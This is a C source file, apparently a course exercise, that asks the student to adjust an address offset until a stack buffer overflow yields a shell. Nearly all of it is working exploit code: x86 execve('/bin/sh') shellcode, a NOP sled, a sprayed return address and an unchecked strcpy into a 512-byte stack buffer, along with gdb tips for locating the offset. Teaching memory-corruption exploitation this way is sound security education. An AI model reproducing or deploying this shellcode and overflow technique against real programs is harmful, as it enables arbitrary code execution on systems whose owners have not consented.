/*
 * exploit3-new.c
 *
 * Your task:  
 * Change the MY_DIFF value so that the buffer overflows and you get a shell prompt.
 * Here's an example of my output:
 * 	umnak% ./exploit3-new 
 * 	Using XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
 * 	sh-3.1$ 
 *
 * useful gdb commands:
 *	disassemble main	-- disassembles the main function
 *	break *0x08048656	-- sets a breakpoint
 *	run			-- runs to the breakpoint
 *	i r			-- shows you the registers
 *	stepi			-- steps a single instruction
 *	x/200xw $sp		-- shows 200 words of current stack
 *	x/200xw $sp + 32	-- you can look forwards relative to sp
 *	x/200xw $sp - 32	-- you can look backwards relative to sp
 */
#include <stdlib.h>
#include <stdio.h>

#define MY_DIFF				+0xFF	/* CHANGE THIS.  MAY BE POSITIVE OR NEGATIVE. */
#define DEFAULT_OFFSET			0
#define DEFAULT_BUFFER_SIZE             612
#define NOP                            0x90


char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main(int argc, char *argv[]) {
  char buf[512];
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    fflush(stdout);
    exit(0);
  }

  addr = buf + MY_DIFF;
  printf("Using address: 0x%08x ; buf at 0x%08x\n", addr, buf);
  fflush(stdout);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  strcpy(buf, buff);
}